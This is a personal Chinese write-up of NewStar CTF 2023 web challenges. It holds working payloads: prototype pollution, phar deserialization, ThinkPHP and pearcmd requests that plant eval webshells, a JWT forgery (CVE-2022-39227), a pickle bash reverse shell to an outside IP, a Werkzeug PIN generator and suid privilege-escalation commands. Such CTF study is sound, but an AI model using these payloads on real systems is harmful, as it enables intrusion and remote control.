NewStar CTF 2023
前几周的新生赛还是非常简单的,个人感觉写起来没啥压力,week4开始的题目逐渐开始变的。。。 把我骗进来杀,校内赛道的第五周,那更加是一个一个(一个一个什么啊恼)。
下面是一点点自己的小思路,希望各位大佬轻喷
1.week4 OtenkiBoy
真的是新生赛吗
info.js里面的getinfo函数里面有这样的查询语句
1 const data = await sql.all (`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?` , [timestamp]).catch (e => { throw e });
可以看到查询语句还是这样,类似week3的最后一题,我们需要将查询的时间提前,这样就可以查询到较早时间写入的flag
需要修改这里的timestamp 值
1 timestamp = Math .max (timestamp, minTimestamp);
这里的mintimestamp为timestamp设置了一个下限,显然需要污染这个值才能修改timestamp
现在我们需要去寻找污染的起点
在submit.js里面看到
1 const result = await insert2db (mergeJSON (DEFAULT , data));
这里用了一个mergeJSON函数,week3里面是不一样的,进去看看
1 2 3 4 5 6 7 8 9 10 11 12 const mergeJSON = function (target, patch, deep = false ) { if (typeof patch !== "object" ) return patch; if (Array .isArray (patch)) return patch; if (!target) target = {} if (deep) { target = copyJSON (target), patch = copyJSON (patch); } for (let key in patch) { if (key === "__proto__" ) continue ; if (target[key] !== patch[key]) target[key] = mergeJSON (target[key], patch[key]); } return target; }
ok,这里把proto给过滤了,紫砂(bushi)
绕过方法就是使用constructor.prototype
这里不能拼接,因为最后在解析的时候会被还原成proto,这就寄了
1 2 console .log ("pr" +"o" ==="pro" );
ok,现在就找注入谁了(喜)
在info.js里面看,发现getinfo里面调用了一个函数createDate
1 2 3 4 5 6 7 8 try { minTimestamp = createDate (CONFIG .min_public_time ).getTime (); if (!Number .isSafeInteger (minTimestamp)) throw new Error ("Invalid configuration min_public_time." ); } catch (e) { console .warn (`\x1b[33m${e.message} \x1b[0m` ); console .warn (`Try using default value ${DEFAULT_CONFIG.min_public_time} .` ); minTimestamp = createDate (DEFAULT_CONFIG .min_public_time , { UTC : false , baseDate : LauchTime }).getTime (); }
进去看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const CopiedDefaultOptions = copyJSON (DEFAULT_CREATE_DATE_OPTIONS ) if (typeof opts === "undefined" ) opts = CopiedDefaultOptions if (typeof opts !== "object" ) opts = { ...CopiedDefaultOptions , UTC : Boolean (opts) }; opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions .UTC : Boolean (opts.UTC ); opts.format = opts.format || CopiedDefaultOptions .format ; if (!Array .isArray (opts.format )) opts.format = [opts.format ] opts.format = opts.format .filter (f => typeof f === "string" ) .filter (f => { if (/yy|yyyy|MM|dd|HH|mm|ss|fff/ .test (f) === false ) { console .warn (`Invalid format "${f} ".` , `At least one format specifier is required.` ); return false ; } if (`|${f} |` .replace (/yyyy/g , "yy" ).split (/yy|MM|dd|HH|mm|ss|fff/ ).includes ("" )) { console .warn (`Invalid format "${f} ".` , `Delimeters are required between format specifiers.` ); return false ; } if (f.includes ("yyyy" ) && f.replace (/yyyy/g , "" ).includes ("yy" )) { console .warn (`Invalid format "${f} ".` , `"yyyy" and "yy" cannot be used together.` ); return false ; } return true ; }) opts.baseDate = new Date (opts.baseDate || Date .now ());
在 JavaScript 中,当你访问一个对象的属性时,如果这个属性在对象本身上不存在,JavaScript 将会在原型链中查找该属性
假设这里的opts里面没有这个属性
1 opts.baseDate = new Date (opts.baseDate || Date .now ());
这里就会触发原型链
显然在函数里面,CONFIG.min_public_time没有这个参数
继续看这个类,看到下面的函数里面
1 const { HH, mm, ss, fff } = getHMS(time_str)
进入这个函数看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const getHMS = (time ) => { let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/ .exec (time.trim ()) if (regres === null ) return {} let [n1, n2, n3, n4] = [regres[1 ], regres[2 ], regres[4 ], regres[6 ]].map (t => typeof t === "undefined" ? undefined : Number (t)); if (typeof n3 === "undefined" ) n3 = 0 ; if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59 ) { let HH = pad (n1, 2 ), mm = pad (n2, 2 ), ss = pad (n3, 2 ), fff = typeof n4 === "undefined" ? undefined : pad (n4, 3 ).substring (0 , 3 ); const o = { HH , mm, ss } if (typeof fff !== "undefined" ) o.fff = fff; return o; } else return {} }
这里有几个注释,就是告诉我们不传入一些23:59:59(.999)?,就会返回毫秒这个属性
ok,后面代码审计哥们就吃不消了,接下来对着wp复现
1 2 3 4 5 6 sortTable.forEach ((f, i ) => { if (f == "yy" ) { let year = Number (regres[i + 1 ]) year = year < 100 ? (1900 + year) : year; return argTable["yyyy" ] = year; }
这个函数告诉我们,这里支持yy操作符,
wp原话
年份小于100时,我们认为是20世纪的年份
举例来说,如果format
为20yy-MM-dd
,在format
解析字符串2023-10-01
时,将解析yy
为23
,输出输出为1923
,最终输出的年份是1923-10-01
这里我只要传入一个2023这种数据,就可以把时间污染的很远
看到在default.js里面,满足我需要的数据条件
接下来就是触发
1 2 3 4 5 6 7 8 try { minTimestamp = createDate (CONFIG .min_public_time ).getTime (); if (!Number .isSafeInteger (minTimestamp)) throw new Error ("Invalid configuration min_public_time." ); } catch (e) { console .warn (`\x1b[33m${e.message} \x1b[0m` ); console .warn (`Try using default value ${DEFAULT_CONFIG.min_public_time} .` ); minTimestamp = createDate (DEFAULT_CONFIG .min_public_time , { UTC : false , baseDate : LauchTime }).getTime (); }
这里如果报错就可以执行下一句649从
现在就是要让他报错
看到这里,显然这里不能报错抛出
1 2 if (Number .isSafeInteger (d.getTime ())) return d; else continue ;
ok,进入Fallback Auto Detection
这里就可以触发了
ok现在再梳理一下
1 2 3 4 5 由于basedata不存在,这里就存在原型链污染,污染成一个非法的值 这样就会触发Fallback Auto Detection, 由于fff不存在,我们如果传入了一个非法的fff就会报错 抛出进入catch 就会调用DEFAULT_CONFIG.min_public_time这个数据
显然这个数据里面也没有值
就可以原型链污染一个过去的数据
发包,访问就好了
2.week5 Unserialize Again f12告诉我这里不是上传的接口
告诉我pairing.php,访问得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ );error_reporting (0 ); class story { private $user ='admin' ; public $pass ; public $eating ; public $God ='false' ; public function __wakeup ( ) { $this ->user='human' ; if (1 ==1 ){ die (); } if (1 !=1 ){ echo $fffflag ; } } public function __construct ( ) { $this ->user='AshenOne' ; $this ->eating='fire' ; die (); } public function __tostring ( ) { return $this ->user.$this ->pass; } public function __invoke ( ) { if ($this ->user=='admin' &&$this ->pass=='admin' ){ echo $nothing ; } } public function __destruct ( ) { if ($this ->God=='true' &&$this ->user=='admin' ){ system ($this ->eating); } else { die ('Get Out!' ); } } } if (isset ($_GET ['pear' ])&&isset ($_GET ['apple' ])){ $pear =$_GET ['pear' ]; $Adam =$_GET ['apple' ]; $file =file_get_contents ('php://input' ); file_put_contents ($pear ,urldecode ($file )); file_exists ($Adam ); } else { echo '多吃雪梨' ; } 多吃雪梨
非预期 注意到
1 2 3 $file =file_get_contents ('php://input' ); file_put_contents ($pear ,urldecode ($file )); file_exists ($Adam );
这里可以直接上传一句话
file写入一句话,pear是文件的名字,这里按下不表
预期 这里用了file_exists函数,存在phar反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class story {private $user ='admin' ;public $eating ='cat /f*' ;public $God ='true' ;} $phar =new Phar ("1.phar" );$phar ->startBuffering ();$phar ->setstub ("<php __HALT_COMPILER();?>" );$o =new story ();$phar ->setMetadata ($o );$phar ->addFromstring ("test.txt" ,"test" );$phar ->stopBuffering ();
这里需要绕过wakeup,直接修改成员类属性
然后重新计算签名
1 2 3 4 5 6 from hashlib import sha1f = open ('./buu.phar' , 'rb' ).read() s = f[:-28 ] h = f[-8 :] newf = s+sha1(s).digest()+h open ('buu2.phar' , 'wb' ).write(newf)
get发包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 GET /pairing.php?pear=buu2.phar&apple=phar://buu2.phar HTTP/1.1 Host: fdfe7f31-ddc2-48f3-9bb0-31dc6c6be212.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://fdfe7f31-ddc2-48f3-9bb0-31dc6c6be212.node4.buuoj.cn:81/pairing.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document DNT: 1 Content-Length: 485 %3Cphp%20__HALT_COMPILER%28%29%3B%20%3F%3E%0Av%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%40%00%00%00O%3A5%3A%22story%22%3A3%3A%7Bs%3A6%3A%22eating%22%3Bs%3A7%3A%22cat%20/f%2A%22%3Bs%3A3%3A%22God%22%3Bs%3A4%3A%22true%22%3B%7D%08%00%00%00test.txt%04%00%00%00%EF%BF%BD%EF%BF%BDHe%04%00%00%00%0C~%7F%D8%B6%01%00%00%00%00%00%00test7%EF%BF%BD%EF%BF%BD%EF%BF%BD%0A%14%EF%BF%BDB5m1%EF%BF%BDh%EF%BF%BD-H%21%EF%BF%BD%7FB1%E6%D2S%2BL%F4%F7%FBw%91%24%B9%D6%A8%28%8F%C7F%84%03%00%00%00GBMB
出
3week 5 Final 这里是一个thinkphp 的漏洞,看phpinfo看到过滤了system()函数
这里换成exec去打就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php?s=captcha HTTP/1.1 Host: 5b4c8cdc-8fba-4555-bf2c-bc2ee9c77164.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 137 Origin: http://5b4c8cdc-8fba-4555-bf2c-bc2ee9c77164.node4.buuoj.cn:81 Connection: close Referer: http://5b4c8cdc-8fba-4555-bf2c-bc2ee9c77164.node4.buuoj.cn:81/public/1.php Upgrade-Insecure-Requests: 1 _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]= echo%20'<?php%20eval($_POST['a']);?>'%20>%20/var/www/public/1.php
根目录下的flag不能直接读取,发现cp有suid权限直接
1 2 3 cp /bin/sh /bin/cp cp > cat /f*
也可以
1 2 cp /f* /etc/passwd cat /etc/passwd
4.week5 NextDrive 秒传是什么
秒传“的手段是通过客户端软件从文件中获取一个特征值,然后在服务器上保存所有数据的特征值进行比较。如果有重复的,就无需再上传数据。
这里没啥思路,看到一个奇怪的文件test.res.http,下载下来分析看看
1 2 3 4 5 6 7 8 9 10 11 12 13 HTTP/1.1 200 OK content-type: application/json; charset=utf-8 content-length: 50 date: Tue, 06 Oct 2023 13:39:21 GMT connection: keep-alive keep-alive: timeout=5 {"code":0,"msg":"success","logged":true,"data":[{"name":"すずめ feat.十明 - RADWIMPS,十明.flac","hash":"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc","size":27471829,"uploader":"admin","uploader_uid":"100000","shareTime":1699272741553,"isYours":true,"isOwn":true,"ownFn":"すずめ feat.十明 - RADWIMPS,十明.flac"} ,{"name":"Windows 12 Concept.png","hash":"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900","size":440707,"uploader":"admin","uploader_uid":"100000","shareTime":1699272743946,"isYours":true,"isOwn":true,"ownFn":"Windows 12 Concept.png"} ,{"name":"信息安全技术信息安全事件分类分级指南.pdf","hash":"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f","size":330767,"uploader":"admin","uploader_uid":"100000","shareTime":1699272744002,"isYours":true,"isOwn":true,"ownFn":"信息安全技术信息安全事件分类分级指南.pdf"} ,{"name":"不限速,就是快!.jpg","hash":"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e","size":32920,"uploader":"admin","uploader_uid":"100000","shareTime":1699272744097,"isYours":true,"isOwn":true,"ownFn":"不限速,就是快!.jpg"}, {"name":"test.req.http","hash":"9ed5db888725e98783ff1ef7f1c5d5f7887498c654b1e926ec3facef68e336bc","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1699272747566,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}]}
注意到上传了一个这东西
test.req.http比赛的时候没发现我去
用这个hash去上传看看,能下载啥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /api/info/drive/sharezone HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cache-Control: no-cache Connection: keep-alive Content-Length: 0 Content-Type: application/x-www-form-urlencoded Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiJkOTMxMjEwMDlmZGIwOTQ1ODExMTliNTg5YWFjNGNjMGU1Y2RhYTQ3OTU2NjI2ZjYyOTgxZjZkMzhjNjMyN2U1In0uNgIOTBxQKglDbGAhWhFdXg.dzkOex4ZYV19XXBnM0cHCXQ/BXkZHmoMKlpxMTATBV0hagV5GU5nUnwMJWtnEwBacjgOL0weZll4DXFiMUMHWX1sVCpOSWtYeF8jN2UeVQkha1V7GR9nCSlfdGFmR1MMJDpVKkpKMVIsX3A1Mx9XAXc9Vn5PTDcMeF53ZWsfUVk Host: localhost:21920 Origin: http://localhost:21920 Pragma: no-cache Referer: http://localhost:21920/sharezone Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0 sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows"
可以看到这是一个admin的分享链接,可以用这个里面的cookie去伪造身份
成功,看到了御坂御坂给我的一封信呜呜呜
下载得到附件share,js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 const Router = require ("koa-router" );const router = new Router ();const CONFIG = require ("../../runtime.config.json" );const Res = require ("../../components/utils/response" );const FileSignUtil = require ("../../components/utils/file-signature" );const { DriveUtil } = require ("../../components/utils/database.utilities" );const fs = require ("fs" );const path = require ("path" );const { verifySession } = require ("../../components/utils/session" );const logger = global .logger ;router.get ("/s/:hashfn" , async (ctx, next) => { const hash_fn = String (ctx.params .hashfn || '' ) const hash = hash_fn.slice (0 , 64 ) const from_uid = ctx.query .from_uid const custom_fn = ctx.query .fn if (typeof hash_fn !== "string" || typeof from_uid !== "string" ) { ctx.set ("X-Error-Reason" , "Invalid Params" ); ctx.status = 400 ; return ctx.res .end (); } let IS_FILE_EXIST = await DriveUtil .isShareFileExist (hash, from_uid) if (!IS_FILE_EXIST ) { ctx.set ("X-Error-Reason" , "File Not Found" ); ctx.status = 404 ; return ctx.res .end (); } let IS_FILE_EXIST_IN_STORAGE try { IS_FILE_EXIST_IN_STORAGE = fs.existsSync (path.resolve (CONFIG .storage_path , hash_fn)) } catch (e) { ctx.set ("X-Error-Reason" , "Internal Server Error" ); ctx.status = 500 ; return ctx.res .end (); } if (!IS_FILE_EXIST_IN_STORAGE ) { logger.error (`File ${hash_fn.yellow} not found in storage, but exist in database!` ) ctx.set ("X-Error-Reason" , "Internal Server Error" ); ctx.status = 500 ; return ctx.res .end (); } let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil .getFilename (from_uid, hash)); filename = filename.replace (/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi , "_" ) ctx.set ("Content-Disposition" , `attachment; filename*=UTF-8''${encodeURIComponent (filename)} ` ); await ctx.sendFile (path.resolve (CONFIG .storage_path , hash_fn)).catch (e => { logger.error (`Error while sending file ${hash_fn.yellow} ` ) logger.error (e) ctx.status = 500 ; return ctx.res .end (); }) }) module .exports = router;
在这里可以看到,后端只是检验了这个文件是否存在,并没有判断hash值是否和文件相同
1 2 3 4 5 router.get ("/s/:hashfn" , async (ctx, next) => { const hash_fn = String (ctx.params .hashfn || '' ) const hash = hash_fn.slice (0 , 64 ) const from_uid = ctx.query .from_uid const custom_fn = ctx.query .fn
这里可以直接目录穿越去读取flag
出
5.week5 4-复盘
要紫砂了,哪里来的注入,还我{哭}
直接文件包含就好了
pear文件包含
1 GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php
直接提权就好了
6.Ye’s Pickle
受不了这题本来出了,传参穿错了没搞,紫砂了
源码里面看到这个是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import base64import stringimport randomfrom flask import *import jwcrypto.jwk as jwkimport picklefrom python_jwt import *app = Flask(__name__) def generate_random_string (length=16 ): characters = string.ascii_letters + string.digits random_string = '' .join(random.choice(characters) for _ in range (length)) return random_string app.config['SECRET_KEY' ] = generate_random_string(16 ) key = jwk.JWK.generate(kty='RSA' , size=2048 ) @app.route("/" ) def index (): payload=request.args.get("token" ) if payload: token=verify_jwt(payload, key, ['PS256' ]) session["role" ]=token[1 ]['role' ] return render_template('index.html' ) else : session["role" ]="guest" user={"username" :"boogipop" ,"role" :"guest" } jwt = generate_jwt(user, key, 'PS256' , timedelta(minutes=60 )) return render_template('index.html' ,token=jwt) @app.route("/pickle" ) def unser (): if session["role" ]=="admin" : pickle.loads(base64.b64decode(request.args.get("pickle" ))) return render_template("index.html" ) else : return render_template("index.html" ) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
这里显然不能伪造
CVE-2022-39227
这里想到了,但是当时看了看就忙其他的去了
这个漏洞就是jwt对私钥签名 的验证不够完全,不需要公钥以及私钥就能构造出jwt的认证
用这个祥云杯的payload去打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from datetime import timedeltafrom json import loads, dumpsfrom common import generated_keysimport python_jwt as jwtfrom pyvows import Vows, expectfrom jwcrypto.common import base64url_decode, base64url_encodedef topic (topic ): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.' ) parsed_payload = loads(base64url_decode(payload)) parsed_payload['is_admin' ] = 1 parsed_payload['exp' ] = 2000000000 fake_payload = base64url_encode( (dumps(parsed_payload, separators=(',' , ':' )))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' originaltoken = '''给出的jwt''' topic = topic(originaltoken) print (topic)
然后就直接pickle打就好了
1 b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."
7.pppython?
直接超wp吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import hashlibimport timefrom itertools import chainprobably_public_bits = [ "root" , "flask.app" , "Flask" , "/usr/local/lib/python3.10/dist-packages/flask/app.py" , ] bid = "8cab9c97-85be-4fb4-9d17-29335d7b2b8a" did = "12:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod9a6962f3_0518_44b9_b39d_99b5cbdcbde2.slice/docker-5393cbb4c79037280b98e5c09ab1df1a765d545afcde1166a1af321b068488e8.scope" did = did.strip().rpartition("/" )[2 ] private_bits = [ "46292774133529" , bid + did, ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = "__wzd" + h.hexdigest()[:20 ] num = None if num is None : h.update(b"pinsalt" ) num = ("%09d" % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x : x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num def hash_pin (pin: str ) -> str : return hashlib.sha1(f"{pin} added salt" .encode("utf-8" , "replace" )).hexdigest()[:12 ] print (rv)print (cookie_name + "=" + f"{int (time.time())} |{hash_pin(rv)} " )
直接rce就好了